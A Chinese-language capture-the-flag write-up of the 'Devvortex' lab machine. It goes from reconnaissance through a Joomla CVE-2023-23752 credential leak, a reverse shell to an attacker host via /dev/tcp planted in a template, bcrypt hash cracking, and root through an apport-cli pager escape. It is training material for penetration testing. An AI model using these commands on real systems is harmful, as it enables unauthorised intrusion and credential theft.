Main
$ nmap -p- 10.10.11.242 --min-rate 1000
# echo '10.10.11.242 devvortex.htb'>>/etc/hosts
子域名爆破
$ apt install seclists
$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://devvortex.htb/" -H "Host: FUZZ.devvortex.htb" --hl 7
$ echo '10.10.11.242 dev.devvortex.htb'>>/etc/hosts
$ gobuster dir --url "http://dev.devvortex.htb/" --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt
$ curl http://dev.devvortex.htb/robots.txt
$ whatweb http://dev.devvortex.htb/administrator
searchsploit
CVE-2023-23752:未授权访问
从Exp中fetch_users是获取用户的函数
$ curl http://dev.devvortex.htb/api/index.php/v1/config/application?public=true | jq
username:lewis password:P4ntherg0t1n5r3c0n##
http://dev.devvortex.htb/administrator/
导航至System->Templates->Administrator Templates
index.php把反向shell写进去就好了,Save
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.23/10032 0>&1'");
$ nc -lvnp 10032
无法权限不足读取用户logan的文件
提升shell方法1
script /dev/null -c /bin/bash
#这个命令使用script命令将会话记录写入 /dev/null,并在新的 Bash 会话中执行 /bin/bash,即启动一个新的 Bash shell。
CTRL + Z
# 将当前进程挂起(即暂停执行),并返回到终端提示符。这样做是为了在后台执行一些任务或者进行一些其他操作,而不影响当前进程。
stty raw -echo; fg
# 将终端设置为原始(raw)模式和禁用回显(echo),然后将挂起的进程(即刚才启动的新的 Bash 会话)移动到前台运行(foreground)。这样做是为了让新的 Bash 会话能够正常运行,并且不会受到终端设置的影响。
# 按下 Enter 键两次。这是因为在使用 stty raw -echo; fg 命令之后,终端处于原始模式,不会像平常一样处理换行符。因此,需要按下 Enter 键两次以确保命令输入被传递到新的 Bash 会话中
export TERM=xterm
# 用于设置环境变量 TERM 的值为 xterm。TERM 环境变量用于指定当前终端的类型,xterm 是一种常见的终端类型。设置为 xterm 可以帮助正确地显示终端中的文本和颜色,以及适应终端的特性和功能。
提升shell方法2:
$ SHELL=/bin/bash script -q /dev/null
www-data@devvortex:~/dev.devvortex.htb/administrator$ netstat -ano
3306端口开放着mysql服务
$ mysql -u lewis -p
P4ntherg0t1n5r3c0n##
mysql>show databases;
mysql>use joomla;
mysql>show tables;
mysql> select username,password from sd4fg_users;
$ echo "\$2y\$10\$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12">hash
保存哈希
$ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash
username:logan password:tequieromucho
www-data@devvortex:~/dev.devvortex.htb/administrator$ su logan
User Flag
logan@devvortex:/var/www/dev.devvortex.htb/administrator$ cat /home/logan/user.txt
a2e439ebea0891abde76fa39322ee67a
Root Flag
logan@devvortex:/var/www/dev.devvortex.htb/administrator$ sudo -l
logan用户只能执行和读该文件/usr/bin/apport-cli
,不能进行修改
打开是一个python文件,我们将他下载下来分析一下
我们首先锁定系统执行命令的sys,os函数库和input,read,write一些函数,让后逆向找到利用点
跟进父类函数
跟进CLIDialog父类函数中的run,可以看到是一个选择页面
logan@devvortex:/var/www/dev.devvortex.htb/administrator$sudo /usr/bin/apport-cli
运行一下看界面
当我们输入一个字符时,会将其转为大写,然后寻找该字符在列表中的索引位置,然后索引+1,最后返回一个int数据
这里的CLIDialog.run()也就类似于input函数
第一处:CLIUserInterface.ui_present_report_details() 这是一个显示报告的函数
第二处:CLIUserInterface.ui_info_message() CLIUserInterface.ui_error_message()这是一个ui消息显示和错误消息显示
第三处:CLIUserInterface.ui_question_yesno() CLIUserInterface.ui_question_choice() 一个选择函数…
有趣的是当分析到CLIUserInterface.ui_present_report_details()中调用了一个工具
/usr/bin/sensible-pager
:是一个命令行工具,用于选择并执行适合当前环境的默认分页器(pager)。在Unix和Linux系统中,分页器是用于浏览文本文件内容的工具,通常用于查看长文本文件或命令输出。
我们可以在kali中来演示如何利用/usr/bin/sensible-pager进入命令行模式
此时我们输入!/bin/bash时候,!来引导外部命令/bin/bash成功获取shell
回到靶机同样方法去获取shell
这里如果运行过一次很可能会出现异常,加-f参数进入调试模式
logan@devvortex:/var/www/dev.devvortex.htb/administrator$ sudo /usr/bin/apport-cli --help
$ sudo /usr/bin/apport-cli -f
随便写数字,到选择这一步就好了
输入V,进入到报告页面输入,!/bin/bash
成功提权
ebbf314456c1a1428c243b579b031a9f